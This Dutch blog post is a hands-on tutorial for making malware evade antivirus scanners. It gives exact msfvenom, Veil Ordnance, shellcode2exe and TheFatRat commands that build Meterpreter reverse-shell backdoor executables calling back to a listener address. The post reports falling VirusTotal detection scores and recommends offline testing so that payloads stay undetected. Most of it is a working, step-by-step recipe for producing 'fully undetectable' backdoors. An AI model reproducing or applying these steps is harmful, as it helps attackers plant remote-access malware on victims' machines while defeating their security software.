Evade Virusscanners – Invisible Payloads
Eerder hebben we het weleens gehad over Metasploit, Meterpreter en het maken van een trojan. Het probleem is echter dat trojans, virussen, malware e.d. relatief goed door virusscanners gedetecteerd worden. Op deze laatste dag van het jaar 2018 beschrijf ik een aantal concepten welke bedoeld zijn om malware zo aan te passen dat de virusscanner hem laat passeren en deze dus niet aanmerkt als malicieus. Geen van deze concepten garanderen een ondetecteerbaar stukje malware maar ze moeten je in ieder geval een heel eind op weg helpen. Let’s try to be invisible!
Vroeger waren anti-virusscanners gebaseerd op “signatures”. Deze signatures zijn als het ware hashes van bepaalde onderdelen binnen de malware. Op het moment dat een anti-virusscanner zo’n signature tergug vond in een bestand werd het bestand aangezien als malicious en gefilterd. Tegenwoordig zien we meer en meer scanning technieken. Heuristics is een scanmethode die niet naar signatures kijkt maar naar het gedrag. Als het eruit ziet als malware, en het gedraagd zich als malware dan zal het wel malware zijn, toch? Ook wordt sandboxing steeds meer toegepast waarmee bestanden eerst in een tijdelijke virtuele omgeving gedraaid worden om te kijken wat ze doen alvorens ze echt gebruikt kunnen worden. Een sandbox kan zelfs tijd simuleren en het bestand bekijken over een periode van meerdere jaren voor het geval de malware voorzien is van een specifieke (datum) trigger. Daarnaast worden anti-virusscanners steeds slimmer. Het leerproces is sneller en real-time. Vroeger moest men wachten op een nieuwe definitie update alvorens de machine beschermd was. Tegenwoordig wordt er ergens in de wereld een nieuwe malware variant gevonden en meteen worden alle virusscanners hiervan op de hoogte gebracht. Eenmaal ontdekt is de verspreiding dus minimaal.
Scanmethodes worden dus steeds geavanceerder en het is erg moeilijk om volledig onzichtbaar te blijven. De allerbeste methode om onzichtbaar te zijn is het volledig zelf schrijven van je malware. Op het moment dat je de malware zelf schrijft en tijdens het schrijven rekening houd met bepaalde “evasion” technieken is de kans dat je malware ontdekt wordt erg klein.
Wanneer je gebruikt maakt van default technieken en toolkits zoals bijvoorbeeld Metasploit dan is de kans op detectie vele malen groter. Logisch natuurlijk. Alle anti-virus maatschappijen houden tools als Metasploit in de gaten. Als Metasploit iets nieuws uitbrengt, bijvoorbeeld een andere encoding techniek dan zit deze in no-time verwerkt in de anti-virus producten.
Laten we gaan kijken naar een aantal technieken om de detectie omlaag te krijgen. We gebruiken hiervoor “VirusTotal”. Op de pagina van VirusTotal kun je een bestand uploaden. VirusTotal haalt dit bestand door 60 verschillende anti-virusscanners en berekend je virusscore. Hoe lager de score, des te kleiner de kans op detectie.
Maak de exploit – Msfvenom
Laten we allereerst eens een normale exploit maken met msfvenom.
msfvenom -p windows/meterpreter/reverse_https -f exe LHOST=192.168.100.100 LPORT=4443 > kladblok.exe |
Msfvenom is een Metasploit module welke het mogelijk maakt om payloads te re-encoden. Dit betekend dat de code van de payload op een nieuwe manier wordt samengesteld op basis van een template. Als je technisch bent kun je zelf zo’n template maken waardoor msfvenom absoluut effect heeft. Omdat anti-virus producten de bestaande msfvenom templates kennen en herkennen zal een msfvenom encoded payload nog steeds makkelijk herkend worden. Laten we het testen:
Zoals je ziet herkennen 50 van de 66 virusscanners deze payload. Niet zo’n beste score.
Nu gaan we het msfvenom commando zo aanpassen dat het beter word.
msfvenom -a x86 --platform Windows -x notepad.exe -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -b '\x00' -f exe -n 26 LHOST=192.168.100.100 LPORT=4443 > kladblok.exe |
- -a = de architectuurm die gebruikt moet worden
- -e = specificeert de encoder. In dit geval “shikata_ga_nai”.
- -b = lijst met karakters welke niet gebruikt mogen worden.
- -n = toevoegen van een zogenaamde NOP sled aan het begin van de payload. Dit zijn no-operators
- -x = specificeert de template van de applicatie om die als basis te gebruiken. De applicatie moet aanwezig zijn in de actieve directory
Het effect van dit commando is al wat beter. 35 van de 66 virusscanners herkennen de payload. Dat is toch alweer een verbetering van -14 virusscanners.
GCC
Een andere optie is gebruiken van de GCC compiler (C Compiler). Met de GCC Compiler kunnen we de code van een payload welke gemaakt is met msfvenom aanpassen met zogenaamde “filler” ofwel “opvul” variabelen. Deze techniek maakt de payload minder goed detecteerbaar.
Voor deze test gebruik ik het “msfven.sh” bestand van WayneAsWilliams https://github.com/wayneaswilliams/msfvenom_custom_encoding. We moeten echter eerst wel de GCC compiler downloaden. Hiervoor gebruiken we Wine waarin we de Windows GCC compiler kunnen gebruiken. Indien deze nog niet gedownload is doe je dat eerst:
apt-get install wine |
Als “Wine” geïnstalleerd is downloaden we MinGW (Minimalist GNU for Windows) vanaf Sourceforge.
Navigeer naar het bestand en voer deze uit met Wine:
wine mingw-get-setup.exe |
Laat de juiste bestanden downloaden. Vervolgens start de setup welke je uitvoert met GUI optie. De setup vraagt vervolgens welke onderdelen je wilt installeren. Kies hier de “mingw-32-base” optie en kies onder “Installation” voor “Update Catalogue”. De setup van de juiste onderdelen wordt vervolgens uitgevoerd.
MinGW is nu geïnstalleerd.
We kunnen nu het msfven.sh script starten welke we eerder gedownload hebben. Als alle benodigde (bovenstaande) functionaliteiten goed geinstalleerd zijn loopt het script ons door het proces heen. Eerst zal hij vragen om de opties LHOST en LPORT in te stellen. Vervolgens moeten we aangeven welke payload we willen gebruiken (alleen meterpreter/reverse_x payloads zijn mogelijk). Als we dat hebben gedaan geven we op hoe vaak we de payload willen encode (herschrijven). Ik kies voor 10 keer. De laatste vraag is hoeveel “fluff” ofwel “onzin code” we willen toevoegen. Hier mogen we niet meer dan 600 regels selecteren en dus kies ik voor 500.
Het encoden kost ongeveer 5 minuutjes. Als dat gedaan is zien we onderstaande scherm en kunnen we de output vinden in “/root/out” onder de naam “http-4443-17142.exe”.
Ik hernoem de EXE naar “mijnbestand.exe” en upload hem naar VirusTotal. Wat is onze score deze keer?
22 van de 65. Dat is beter dan onze vorige score van 35. Maar, dat moet nog beter kunnen toch?
Veil
Een andere evasietechniek is door gebruik te maken van Veil (voorheen Veil Evasion). Veil is een andere re-encoding techniek welke geavanceerder is dan de default msfvenom re-encoding. Veil is ontstaan als anti-virus evasion framework maar is tegenwoordig een stuk uitgebreider met o.a. alternatieve payload delivery opties en post-exploitation opties.
De huidige versie van Veil is versie 3.x. en wordt als volgt geïnstalleerd op Linux Kali:
apt -y install veil |
Vervolgens start je de setup:
/usr/share/veil/setup/setup.sh |
Mocht je werken met een Linux distributie waarbij Veil niet in de repositories aanwezig is dan kun je Veil gewoon installeren via GitHub. Installeer eerst indien niet aanwezig “git” (- sudo apt-get -y install git) en installeer vervolgens Veil:
git clone https://github.com/Veil-Framework/Veil.git cd Veil/ ./config/setup.sh |
Tijdens de setup wordt gevraagd of de setup “silent” moet worden uitgevoerd. De silent setup zorgt voor een unattended installatie. Alle facetten worden automatisch uitgevoerd zodat er geen interactie van de gebruiker gevraagd wordt.
Nu de installatie compleet is gaan we eenzelfde payload maken, maar dan met Veil.
Veil is een Python framework en wordt als volgt gestart:
/usr/share/veil/Veil.py |
Nu gaan we eerst een tool kiezen. Als we “list” invoeren zien we de 2 beschikbare tools, namelijk Evasion en Ordnance.
Evasion is nummer 1 en dus voeren we het volgende commando in:
use 1 |
Nu krijgen we andere opties. We zien dat er 41 payloads geladen zijn. Met het “list” commando zien we alle mogelijke payload.
We kiezen voor nummer 5, de C language Meterpreter Reverse_HTTP variant.
use 5 |
Nu krijgen we de opties welke we in moeten stellen. In dit geval de LHOST en de LPORT.
Nu dat gedaan is gaan we de payload genereren met het “generate” commando. Veil vraagt vervolgens om de outputnaam waar ik heb gekozen voor MSPaint.
Als Veil klaar is zie je waar de verschillende bestanden naartoe geschreven zijn.
Vervolgens kun je het proces opnieuw beginnen of Veil afsluiten met het “exit” commando.
Laten we eens kijken hoe deze payload scoort:
39 van de 66… dat is een mindere score dan ik verwacht had. Maar we hadden nog de Ordnance tool. Waar “Evasion” samenwerkt met msfvenom is Ordnance een tool die ontwikkeld en bijgehouden wordt door de Veil development teams. Daarnaast is Veil Ordnance sneller en theoretisch beter. Laten we dat eens testen.
We kunnen een payload maken via het framework script, exact zoals we hierboven hebben gedaan, maar we kunnen ook een Veil payload on-the-fly maken v.a. de command-line. Dat gaan we nu eens proberen met Ordnance.
./Veil-Ordnance.py -p rev_http --ip 192.168.100.100 --port 4443 -e xor -b \x00\x0a --print-stats |
De volgende flags kunnen gebruikt worden:
- -p = Payload type (rev_tcp, bind_tcp, rev_http, rev_https, rev_tcp_dns, rev_tcp_all_ports)
- –ip = IP adres (of domein) vor de listener
- –port = Poort waar de listener op luisterd
- -e = Encoder
- -b = Foutieve karakters welke niet in de shellcode voor mogen komen (\x00\x0a)
- –print-stats = Toon extra metadata van de gegenereerde shellcode
- –list-payloads = Toont alle mogelijke payloads
- –list-encoders = Toont alle mogelijke encoders
Als dat gebeurt is genereerd Veil de Ordnance shellcode. In ons geval:
Met alleen de shellcode (de werkelijke instructies / processortaal) kunnen we nog niet zoveel. Deze moet nog omgezet worden naar een uitvoerbaar bestand zoals b.v. een EXE (of we moeten hem rechtstreeks kunnen injecteren in het geheugen).
Er zijn diverse manieren om dit te doen. Een van deze manieren is door gebruik te maken van het “Shellcode2Exe.py” python bestand welke je hier kunt downloaden: https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py
Dit script gebruikt “InlineEgg” van CoreSecurity welke hier te downloaden is.
Om InlineEgg te installeren pakken we het bestand uit en voeren we de volgende commando’s uit.
setup.py build
setup.py install |
We slaan de shellcode op in een bestand genaamd “shellcode.txt”.
Nu kunnen we het Shellcode2Exe.py script gebruiken om een executable te maken van de shellcode. Let erop dat dit script niet goed op Windows x64 systemen werkt.
Om de executable te maken gebruik je:
python shellcode2exe.py –s shellcode.txt |
Het script heeft meerdere opties. Zo kun je de architectuur en het OS meegeven:
- -h = help
- -a = ARCH (architectuur – default = i386)
- -o = OS (default = Windows)
- -c = geef de shellcode als ASCII op
- -s = specificeer een shellcode bestand
- -d = geef de shellcode als Unicode op
- -u = specificeer een Unicode bestand
De output van dit script is een %inputfilename%.exe file. Deze hernoemen we even (leuk.exe) en gaan we testen.
3 van de 60! Dat is een veel betere score!! Mooi… nu begint het ergens op te lijken.
Nu is het algemeen bekend dat het genereren van een Payload met de C language een hoge detectierate. Wat als we hetzelfde doen maar dan met de Python language en de payload genereren als een resource script en dus niet als een EXE:
BAM! Dat werkt fantastisch. Alleen is een RC bestand niet zo gemakkelijk uit te voeren op de doelcomputer als een EXE bestand. Zouden we met een EXE bestand nog een betere score kunnen halen van 3/60?
Laten we nog snel wat dingetjes proberen.
TheFatRat
Een andere exploit tool is TheFatRat. TheFatRat is in essentie een framework welke malware compileert met populaire payload waardoor vervolgens de gecompileerde malware zonder problemen kan worden uitgevoerd op Windows, Android en MAC systemen. De malware die met deze tool is gemaakt omzeilt de meeste AV-software. Dat gaan we testen.
Het installeren van TheFatRat is relatief simpel. Allereerst clonen we de GitHub repository:
git clone https://github.com/Screetsec/TheFatRat.git |
Vervolgens maken we de setup executable (chmod +x setup.sh) en draaien we het setup.sh bestand. De setup start automatisch en werkt een aantal bestanden bij en download dependencies als deze benodigd zijn.
Als de setup klaar is kun je ervoor kiezen om TheFatRat toe te voegen aan het pad zodat je overal TheFatRat kunt opstarten door “fatrat” in te typen.
Als de setup klaar is start je TheFatRat en word je verwelkomd door het volgende scherm:
Dat is wel een beetje jammer, aangezien we alle payloads uploaden naar VirusTotal. De reden waarom er niet geüpload mag worden naar VirusTotal is waarschijnlijk zodat het formaat en de inhoud van de malware niet bekend wordt. VirusTotal stuurt deze namelijk door aan andere anti-virus developpers. TheFatRat geeft “nodistribute.com” als alternatief. Hoewel deze waarschijnlijk ook ontvangen bestanden doorverkoopt ondanks dat de FAQ op NoDistribute anders beweerd zullen we in dit geval dus niet VirusTotal gebruiken maar NoDistribute.com.
Vervolgens word de Metasploit Service gestart:”
En tenslotte komen we in het hoofdmenu waar we een hele berg opties hebben.
Allereerst kiezen we optie 13 om de default opties in te stellen. Als dat gedaan is kies ik voor optie 6 om een FUD (Fully UnDetectable) backdoor te maken met behulp van PwnWinds. Vervolgens kies ik ervoor om optie 2 te gebruiken. We gaan een EXE maken in C.
TheFatRat vraagt vervolgens om een output name. Ik kies hier voor “sesamstraat”. De volgende vraag is welke payload we willen gebruiken. Ook hier kiezen we voor de reverse_http (optie 5).
Als dat gedaan wordt dan wordt de backdoor aangemaakt:
Als de creatie klaar is:
In de output folder van TheFatRat directory vinden we nu onze EXE terug. Laten we deze eens uploaden en scannen door NoDistribute.com. Maar… helaas geeft NoDistribute.com niet thuis. Na het uploaden van de file retourneerd NoDistribute keer op keer een blanco scherm.
Dus ondanks de waarschuwingen toch maar via VirusTotal. We hebben immers alle bovenstaande testen ook via VirusTotal gedaan. Appels met appels vergelijken toch? Wat zegt VirusTotal:
24 van de 65. Geen superscore maar ook niet ontzettend slecht.
Conclusie
Er zijn veel methodes om anti-virusscanners te omzeilen. Uiteraard werkt de ene methode beter dan de andere en is het soms even zoeken naar de methode die goed werkt. Er zijn nog veel meer andere toepassingen zoals AVET, Hercules, Hyperion, Obfuscated Empire, WinPayloads etc. Uit bovenstaande test kunnen we concluderen dat Veil Evasion een prachtig framework is waar goede resultaten mee behaald kunnen worden.
Betere resultaten kunnen ook behaald worden door C executables te bewerken in Microsoft Visual Studio. Het simpelweg aanpassen van comments, namen en titels kan al een beter resultaat geven. Ook het gebruiken van x64 bit stagers geeft zichtbaar een beter resultaat dan x32 stagers. Het gebruik van EXE bestanden is de makkelijkste methode om een backdoor te creëren maar mocht je gebruik kunnen maken van andere typen zoals Python of gewoon Powershell dan is de kans op succes ook al veel hoger. Ook het versleutelen van payloads is een effectieve methode voor betere resultaten.
Kortom, er zijn nogal wat methodes om anti-virusscanners te omzeilen en bovenstaande methodes kunnen ook anders gebruikt worden waardoor resultaten variëren. In deze post heb ik voor een snel en duidelijk inzicht gebruik gemaakt van VirusTotal. Doe dit echter nooit met je eigen payloads! Door te uploaden naar VirusTotal zal je payload sneller gedetecteerd worden omdat AV leveranciers na het uploaden inzicht hebben in de malware. Gebruik zelf altijd een eigen off-line lab voor het testen van je eigen payloads.
Heb je zelf een unieke methode welke je met me wilt delen? Ik ben ontzettend nieuwsgierig naar nieuwe mogelijkheden.
Geef even een dikke like, of deel deze post als je hem interessant vond. I like your like!
Dankjewel! De volgende post ga ik laten zien hoe we AV omzeilen met een Powershell voorbeeld.
Fijne jaarwisseling en tot 2019!